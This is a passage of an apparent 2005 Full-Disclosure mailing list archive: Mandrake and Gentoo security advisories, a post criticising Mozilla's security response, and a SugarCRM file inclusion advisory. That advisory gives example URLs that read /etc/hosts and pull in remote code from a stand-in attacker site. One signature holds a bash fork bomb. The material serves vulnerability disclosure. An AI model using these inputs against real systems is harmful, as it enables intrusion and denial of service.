x86_64/10.1/RPMS/lib64tiff3-devel-3.6.1-4.3.101mdk.x86_64.rpm 8799ead4440d3ed03bdb7a135b297fd2 x86_64/10.1/RPMS/lib64tiff3-static-devel-3.6.1-4.3.101mdk.x86_64.rpm 2a5fa5a22cb394313449f12a99ced13f x86_64/10.1/RPMS/libtiff-progs-3.6.1-4.3.101mdk.x86_64.rpm 3bbd5c84878f47f0aeb6a29808daf075 x86_64/10.1/SRPMS/libtiff-3.6.1-4.3.101mdk.src.rpm Corporate Server 2.1: ff96fd5e53c8658a300705feb1bf64d7 corporate/2.1/RPMS/libtiff3-3.5.7-5.5.C21mdk.i586.rpm ac7e1c4f37efd05bf0df7b55b3abdefa corporate/2.1/RPMS/libtiff3-devel-3.5.7-5.5.C21mdk.i586.rpm 28f4daec69cc9edbb7eca8711cb38d2f corporate/2.1/RPMS/libtiff3-progs-3.5.7-5.5.C21mdk.i586.rpm 1f061eeb03c4731df3601aa7b9c2ef55 corporate/2.1/RPMS/libtiff3-static-devel-3.5.7-5.5.C21mdk.i586.rpm a2275152fe3f3959e3b954044df03a7b corporate/2.1/SRPMS/libtiff-3.5.7-5.5.C21mdk.src.rpm Corporate Server 2.1/x86_64: 153f5197d22280627cfa5b35878aa5e7 x86_64/corporate/2.1/RPMS/libtiff3-3.5.7-5.5.C21mdk.x86_64.rpm ddca70adfa8fc09333c020be403010ab x86_64/corporate/2.1/RPMS/libtiff3-devel-3.5.7-5.5.C21mdk.x86_64.rpm be2dd3bdeadfe2a4d6e2c357ff72304b x86_64/corporate/2.1/RPMS/libtiff3-progs-3.5.7-5.5.C21mdk.x86_64.rpm 3f85152064fae9bed20168b3728af1ae x86_64/corporate/2.1/RPMS/libtiff3-static-devel-3.5.7-5.5.C21mdk.x86_64.rpm a2275152fe3f3959e3b954044df03a7b x86_64/corporate/2.1/SRPMS/libtiff-3.5.7-5.5.C21mdk.src.rpm Mandrakelinux 9.2: 741e8f3ef01a5d16dd0c01d918860777 9.2/RPMS/libtiff-progs-3.5.7-11.5.92mdk.i586.rpm 6346717fb39bc05185d29032d9844320 9.2/RPMS/libtiff3-3.5.7-11.5.92mdk.i586.rpm 46a7727bf95b6d76bdcfce4e5a70c15d 9.2/RPMS/libtiff3-devel-3.5.7-11.5.92mdk.i586.rpm f3798634944b9ef94390ce06c20df998 9.2/RPMS/libtiff3-static-devel-3.5.7-11.5.92mdk.i586.rpm 36e2ac6e7e96cfbd428149b3c9ccab55 9.2/SRPMS/libtiff-3.5.7-11.5.92mdk.src.rpm Mandrakelinux 9.2/AMD64: f81aa073cce93dd18fc35dc2ea0f3d9c amd64/9.2/RPMS/lib64tiff3-3.5.7-11.5.92mdk.amd64.rpm f6e36bd732e8ccb00d873c7470251510 amd64/9.2/RPMS/lib64tiff3-devel-3.5.7-11.5.92mdk.amd64.rpm c60bb908bb2815451da0a3d57eccaf1f amd64/9.2/RPMS/lib64tiff3-static-devel-3.5.7-11.5.92mdk.amd64.rpm 67e5ce5b674c882bcca3974e6a2edc3b amd64/9.2/RPMS/libtiff-progs-3.5.7-11.5.92mdk.amd64.rpm 36e2ac6e7e96cfbd428149b3c9ccab55 amd64/9.2/SRPMS/libtiff-3.5.7-11.5.92mdk.src.rpm Multi Network Firewall 8.2: bd75dfaf6447560450d6d0f28d0817d8 mnf8.2/RPMS/libtiff3-3.5.5-9.5.M82mdk.i586.rpm e1c84b55ff13da157156a0ff67185c81 mnf8.2/SRPMS/libtiff-3.5.5-9.5.M82mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB3aLVmqjQ0CJFipgRAuEpAJ9dHA4Jb2avd9SzB44AkVFnVKrlCgCfYjgM LejodEvApMn0icZcWSQDF4E= =V0MP -----END PGP SIGNATURE----- From security at linux-mandrake.com Thu Jan 6 20:52:17 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Thu, 06 Jan 2005 13:52:17 -0700 Subject: [Full-Disclosure] MDKSA-2005:002 - Updated wxGTK2 packages fix vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: wxGTK2 Advisory ID: MDKSA-2005:002 Date: January 6th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: Several vulnerabilities have been discovered in the libtiff package; wxGTK2 uses a libtiff code tree, so it may have the same vulnerabilities: iDefense reported the possibility of remote exploitation of an integer overflow in libtiff that may allow for the execution of arbitrary code. The overflow occurs in the parsing of TIFF files set with the STRIPOFFSETS flag. iDefense also reported a heap-based buffer overflow vulnerability within the LibTIFF package could allow attackers to execute arbitrary code. (CAN-2004-1308) The vulnerability specifically exists due to insufficient validation of user-supplied data when calculating the size of a directory entry. The updated packages are patched to protect against these vulnerabilities. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: ba9d5780d05078247a92f6cd0884a642 10.0/RPMS/libwxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm 369c1190bf5ff19a89728a633a2243bb 10.0/RPMS/libwxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm 81878a529f380d3edac2d35427820a40 10.0/RPMS/libwxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm d457c6001ae548eed3f74fece216538c 10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm 5e8b965e2f4d744b994ff4d33f76de40 10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 618a8fe53ecade77de29e9a0c5c0ccde amd64/10.0/RPMS/lib64wxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm c4a9b6e1c1340e38ff19a8bf15daa93e amd64/10.0/RPMS/lib64wxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm 53f31674004696ef38f278481be554e7 amd64/10.0/RPMS/lib64wxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm f9e36ab6a1ed9d312ce5882308f91619 amd64/10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm 5e8b965e2f4d744b994ff4d33f76de40 amd64/10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm Mandrakelinux 10.1: 9b9e61df2db9973b8f452acf61104f42 10.1/RPMS/libwxgtk2.5_1-2.5.1-5.3.101mdk.i586.rpm c524f5fc3392651e1cbecde322eaa1a0 10.1/RPMS/libwxgtk2.5_1-devel-2.5.1-5.3.101mdk.i586.rpm c82c706931183f2c18bbdf3e52fed787 10.1/RPMS/libwxgtkgl2.5_1-2.5.1-5.3.101mdk.i586.rpm 8c8e53e3b50fb2bd335d16e0ca7f6fd8 10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.i586.rpm c5a574a7031028f589d77f4254997d6f 10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm Mandrakelinux 10.1/X86_64: eba730a0d098c7d130423b8245a8f80b x86_64/10.1/RPMS/lib64wxgtk2.5_1-2.5.1-5.3.101mdk.x86_64.rpm 478acd8d9d1a34e44bc31adaab387e8a x86_64/10.1/RPMS/lib64wxgtk2.5_1-devel-2.5.1-5.3.101mdk.x86_64.rpm c2fd48c6377ae03768a4cabe0f03c3f5 x86_64/10.1/RPMS/lib64wxgtkgl2.5_1-2.5.1-5.3.101mdk.x86_64.rpm afe966ca2449461e304c498d0873aace x86_64/10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.x86_64.rpm c5a574a7031028f589d77f4254997d6f x86_64/10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB3aUBmqjQ0CJFipgRAvJFAJ9d5XaOR+GOiAzExvBrfTtRD+56mwCeI06S 5wZTm9MOdhQLxjV3NskMxao= =Aneh -----END PGP SIGNATURE----- From security at linux-mandrake.com Thu Jan 6 20:53:55 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Thu, 06 Jan 2005 13:53:55 -0700 Subject: [Full-Disclosure] MDKSA-2005:003 - Updated vim packages fix modeline vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: vim Advisory ID: MDKSA-2005:003 Date: January 6th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1 ______________________________________________________________________ Problem Description: Several "modeline"-related vulnerabilities were discovered in Vim by Ciaran McCreesh. The updated packages have been patched with Bram Moolenaar's vim 6.3.045 patch which fixes the reported vulnerabilities and adds more conservative "modeline" rights. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1138 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: dc99ec20a0d5e1ffe5705b338587dc4e 10.0/RPMS/vim-X11-6.2-14.1.100mdk.i586.rpm 321271cf96a487d030c1f63916057df6 10.0/RPMS/vim-common-6.2-14.1.100mdk.i586.rpm cab974c180ba32f189ed2b8f9d87c4d7 10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.i586.rpm 354150734d36ae267933932fda998694 10.0/RPMS/vim-minimal-6.2-14.1.100mdk.i586.rpm da7ed2d30da9357180fc2e95a8332ac1 10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 00c06119cda7bccb1e72313a1b2d1dce amd64/10.0/RPMS/vim-X11-6.2-14.1.100mdk.amd64.rpm 00e1ffca2a8e584885632fd628d2f963 amd64/10.0/RPMS/vim-common-6.2-14.1.100mdk.amd64.rpm 82e1be218800efc70e795a604514c375 amd64/10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.amd64.rpm 2b2b8c84f7790797ab18e77f3c1e7f2f amd64/10.0/RPMS/vim-minimal-6.2-14.1.100mdk.amd64.rpm da7ed2d30da9357180fc2e95a8332ac1 amd64/10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm Mandrakelinux 10.1: 8b913b02ea90489aaa2bd29f795399d8 10.1/RPMS/vim-X11-6.3-5.1.101mdk.i586.rpm 5353a6cfb15280d8f1cc053743341ad1 10.1/RPMS/vim-common-6.3-5.1.101mdk.i586.rpm f765913a4dfdd57ef7faa420a5a61830 10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.i586.rpm 684886af2c515a9e9a1c1291ec8094fd 10.1/RPMS/vim-minimal-6.3-5.1.101mdk.i586.rpm 89b134fbe9240efc208824930c9a605b 10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: f035a1b1ac873ee806527eb338c135ef x86_64/10.1/RPMS/vim-X11-6.3-5.1.101mdk.x86_64.rpm 2b750028b598e8673122696bdf9f575b x86_64/10.1/RPMS/vim-common-6.3-5.1.101mdk.x86_64.rpm 03f49e6ea46596fe972b140d4edc55e3 x86_64/10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.x86_64.rpm 64305d45fcf292ac1a852f189a50306b x86_64/10.1/RPMS/vim-minimal-6.3-5.1.101mdk.x86_64.rpm 89b134fbe9240efc208824930c9a605b x86_64/10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm Corporate Server 2.1: 756cc2e58bff900c4fcb0460a6ac767f corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.i586.rpm 65697ca8ad7698cd6b141ebcefb14646 corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.i586.rpm ef40b036454a280650b3842be5eb4b5d corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.i586.rpm 15706190a1a01413f7aa106238e592b1 corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.i586.rpm 8558f98441e0e85964d2aa9b400ebfce corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm Corporate Server 2.1/x86_64: 51c1ff3d71adfddc998c9731e9cbf033 x86_64/corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.x86_64.rpm 72818890b41fab3a7fca922084139bee x86_64/corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.x86_64.rpm 990252b46c4d80a0f118d9f9d47480ee x86_64/corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.x86_64.rpm 711e168b31f45852a0b4c50c94a17c46 x86_64/corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.x86_64.rpm 8558f98441e0e85964d2aa9b400ebfce x86_64/corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm Mandrakelinux 9.2: d05af7e58ceb4437e8f850bbffa2d78b 9.2/RPMS/vim-X11-6.2-11.1.92mdk.i586.rpm 877835edad015bd451e12314fc685d01 9.2/RPMS/vim-common-6.2-11.1.92mdk.i586.rpm cfbdd0030d0a06bdc5200c8f7f02741d 9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.i586.rpm 02a99727758bb95e081ec55ceb80629f 9.2/RPMS/vim-minimal-6.2-11.1.92mdk.i586.rpm 1ceb7a9081a1bb02ef4c8e9881d0e8db 9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm Mandrakelinux 9.2/AMD64: 24182d75dce9da179234a45ad31d9bf7 amd64/9.2/RPMS/vim-X11-6.2-11.1.92mdk.amd64.rpm 4b7a72d17f7964aed4d7cdf90837c8ca amd64/9.2/RPMS/vim-common-6.2-11.1.92mdk.amd64.rpm 66e94e428441701c22515b30a9092eff amd64/9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.amd64.rpm 4f0bad1665fa9c844bd11f0dbdfb1c91 amd64/9.2/RPMS/vim-minimal-6.2-11.1.92mdk.amd64.rpm 1ceb7a9081a1bb02ef4c8e9881d0e8db amd64/9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB3aVjmqjQ0CJFipgRAv8fAKCFOW3mkry8Hr/tgnCcqUMmQ8CmFwCg2fbU FxpoV4DQ+aN1yHi/KZ4jkkE= =QaxY -----END PGP SIGNATURE----- From security at linux-mandrake.com Thu Jan 6 20:59:02 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Thu, 06 Jan 2005 13:59:02 -0700 Subject: [Full-Disclosure] MDKSA-2005:004 - Updated nasm packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: nasm Advisory ID: MDKSA-2005:004 Date: January 6th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: A buffer overflow in nasm was discovered by Jonathan Rockway. This vulnerability could lead to the execution of arbitrary code when compiling a malicious assembler source file. The updated packages are patched to correct the problem. ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: bfeacd381e7fbf8b99e96a2430311ed4 10.0/RPMS/nasm-0.98.38-1.1.100mdk.i586.rpm 114bfd2649248582ad463a187a826e33 10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.i586.rpm ed611f8bbd6cfa91b9d7944c9b815902 10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.i586.rpm f431fa5e5f6a59718efcfb41edab3be3 10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: dc9af90c5b786c155544f48046e9dfe4 amd64/10.0/RPMS/nasm-0.98.38-1.1.100mdk.amd64.rpm f0c59ffd65fd1285e577af0b8ce9baa1 amd64/10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.amd64.rpm d044b7e60404106957e51e3c2841feed amd64/10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.amd64.rpm f431fa5e5f6a59718efcfb41edab3be3 amd64/10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm Mandrakelinux 10.1: 47bc2f9600153b30d7e63321360b8d76 10.1/RPMS/nasm-0.98.38-1.1.101mdk.i586.rpm 1995e7f847f816be99b917867cf9a139 10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.i586.rpm 1a2242ced53b91dfe2179a26527dca33 10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.i586.rpm 92183c2e2e68b8a12e3a0d6aa692763f 10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: ed510372fa24800e7b0faf78e84d8a0b x86_64/10.1/RPMS/nasm-0.98.38-1.1.101mdk.x86_64.rpm c3fdef84d0c9b383ae78aa929d110f78 x86_64/10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.x86_64.rpm 3a83b689ba75be2ed28b3edea7270ea9 x86_64/10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.x86_64.rpm 92183c2e2e68b8a12e3a0d6aa692763f x86_64/10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB3aaVmqjQ0CJFipgRAoEdAJ9PpM5rdVbA0mM2vXFTNfEawpfeywCfdGB1 OcI8lB5IV6fOmLMbbSkIeDA= =tch/ -----END PGP SIGNATURE----- From lewk at gentoo.org Thu Jan 6 21:12:11 2005 From: lewk at gentoo.org (Luke Macken) Date: Thu, 6 Jan 2005 16:12:11 -0500 Subject: [Full-Disclosure] [ GLSA 200501-08 ] phpGroupWare: Various vulnerabilities Message-ID: <20050106211211.GA30481@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: phpGroupWare: Various vulnerabilities Date: January 06, 2005 Bugs: #74487 ID: 200501-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been discovered in phpGroupWare that could lead to information disclosure or remote compromise. Background ========== phpGroupWare is a web-based suite of group applications including a calendar, todo-list, addressbook, email, wiki, news headlines, and a file manager. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-apps/phpgroupware < 0.9.16.004 >= 0.9.16.004 Description =========== Several flaws were discovered in phpGroupWare making it vulnerable to cross-site scripting attacks, SQL injection, and full path disclosure. Impact ====== These vulnerabilities could allow an attacker to perform cross-site scripting attacks, execute SQL queries, and disclose the full path of the web directory. Workaround ========== There is no known workaround at this time. Resolution ========== All phpGroupWare users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-apps/phpgroupware-0.9.16.004" References ========== [ 1 ] BugTraq Advisory http://www.securityfocus.com/archive/1/384492 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-08.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/673c851c/attachment.bin From koon at gentoo.org Thu Jan 6 21:34:09 2005 From: koon at gentoo.org (Thierry Carrez) Date: Thu, 06 Jan 2005 22:34:09 +0100 Subject: [Full-Disclosure] [ GLSA 200501-09 ] xzgv: Multiple overflows Message-ID: <41DDAED1.9090603@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-09 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: xzgv: Multiple overflows Date: January 06, 2005 Bugs: #74069 ID: 200501-09 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== xzgv contains multiple overflows that may lead to the execution of arbitrary code. Background ========== xzgv is a picture viewer for X, with a thumbnail-based file selector. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-gfx/xzgv <= 0.8 >= 0.8-r1 Description =========== Multiple overflows have been found in the image processing code of xzgv, including an integer overflow in the PRF parsing code (CAN-2004-0994). Impact ====== An attacker could entice a user to open or browse a specially-crafted image file, potentially resulting in the execution of arbitrary code with the rights of the user running xzgv. Workaround ========== There is no known workaround at this time. Resolution ========== All xzgv users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-gfx/xzgv-0.8-r1" References ========== [ 1 ] CAN-2004-0994 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0994 [ 2 ] iDEFENSE Advisory http://www.idefense.com/application/poi/display?id=160&type=vulnerabilities&flashstatus=true Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-09.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/cf2d5b26/attachment.bin From koon at gentoo.org Thu Jan 6 21:37:05 2005 From: koon at gentoo.org (Thierry Carrez) Date: Thu, 06 Jan 2005 22:37:05 +0100 Subject: [Full-Disclosure] [ GLSA 200501-10 ] Vilistextum: Buffer overflow vulnerability Message-ID: <41DDAF81.8020200@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Vilistextum: Buffer overflow vulnerability Date: January 06, 2005 Bugs: #74694 ID: 200501-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Vilistextum is vulnerable to a buffer overflow that allows an attacker to execute arbitrary code through the use of a malicious webpage. Background ========== Vilistextum is an HTML to text converter. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/vilistextum < 2.6.7 >= 2.6.7 Description =========== Ariel Berkman discovered that Vilistextum unsafely reads data into an array without checking the length. This code vulnerability may lead to a buffer overflow. Impact ====== A remote attacker could craft a malicious webpage which, when converted, would result in the execution of arbitrary code with the rights of the user running Vilistextum. Workaround ========== There is no known workaround at this time. Resolution ========== All Vilistextum users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/vilistextum-2.6.7" References ========== [ 1 ] Original Advisory http://tigger.uic.edu/~jlongs2/holes/vilistextum.txt [ 2 ] CAN-2004-1299 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1299 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-10.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/17191f73/attachment.bin From lcamtuf at ghettot.org Fri Jan 7 00:21:29 2005 From: lcamtuf at ghettot.org (Michal Zalewski) Date: Fri, 7 Jan 2005 01:21:29 +0100 (CET) Subject: [Full-Disclosure] Heap overflow in Mozilla Browser <= 1.7.3 NNTP code. In-Reply-To: References: Message-ID: <20050107010157.O37734@dekadens.coredump.cx> On Wed, 29 Dec 2004, Maurycy Prodeus wrote: > On my RedHat 9.0 with Mozilla 1.7.3 attached proof of concept code > overflows the buffer using attacker-supplied data. I decided to make > this bug public because Mozilla Team hasn't warned users. As much as I respect what Mozilla folks are doing for the community, I find their security response to be, ahem, lacking. Given their increasing userbase, this is a bad omen. They seldom reply, and very often adequately follow up, on reports sent to security at mozilla.org; and when they actually learn about a problem, they do not seem to reach out to those of their users who do not happen to browse Bugzilla daily. Judging from reports such as this, they also routinely downplay serious threats, perhaps to discourage people from claiming a prize they once established for spotting a remote security bug in the browser. Uh-oh. Oh, last but not least, my personal complaint: they are taking some three months to fix publicly disclosed mangleme vulnerabilities in their browsers - no single vendor advisory was released, despite of 20+ problems being reported, some of which apparently remotely exploitable. In that regard, they managed to beat Microsoft, who took "only" several weeks to fix mangleme IFRAME (Bofra) vulnerability. Their stagnant mangleme vulnerability / bug queue: https://bugzilla.mozilla.org/showdependencytree.cgi?id=264944 Not that Mozilla is any worse than other open source browser developers in that regard. IIRC, we did not see advisories or vendor fixes for mangleme flaws in Konqueror / Safari, [e]links, lynx, elvis, w3m and other browsers... the difference is, Mozilla/Firefox is becoming a mainstream tool. -- ------------------------- bash$ :(){ :|:&};: -- Michal Zalewski * [http://lcamtuf.coredump.cx] Did you know that clones never use mirrors? --------------------------- 2005-01-07 01:01 -- http://lcamtuf.coredump.cx/photo/current/ From blindot at gmail.com Thu Jan 6 21:46:41 2005 From: blindot at gmail.com (Santiago Cortes) Date: Thu, 6 Jan 2005 16:46:41 -0500 Subject: [Full-Disclosure] Arbitrary file inclusion in SugarCRM [PHP] Message-ID: ------------------------------------------------------------ Arbitrary File Inclusion in SugarCRM ------------------------------------------------------------ Author: Santiago Cort?s Date: Jan 06, 2005 ------------------------------------------------------------ Vulnerability: Failure to sanitize user input in index.php opens the possibility for an attacker to include an arbitrary file when PHP's "register_globals" is on. Example: http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=/etc/hosts http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=http://www.attackersite.com/malicious.php Fix: Disable register_globals in your php.ini file, or Replace line 198 in index.php: $currentModuleFile = $moduleDefaultFile[$currentModule]; With if ( !isset($moduleDefaultFile[$currentModule] ) { die('No action specified'); } $currentModuleFile = $moduleDefaultFile[$currentModule]; Disclaimer: The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Contact: Santiago Cort?s blindot --at-- gmail From y_avenger_y at ua.fm Tue Jan 4 12:18:49 2005 From: y_avenger_y at ua.fm (Alex V. Lukyanenko) Date: Tue, 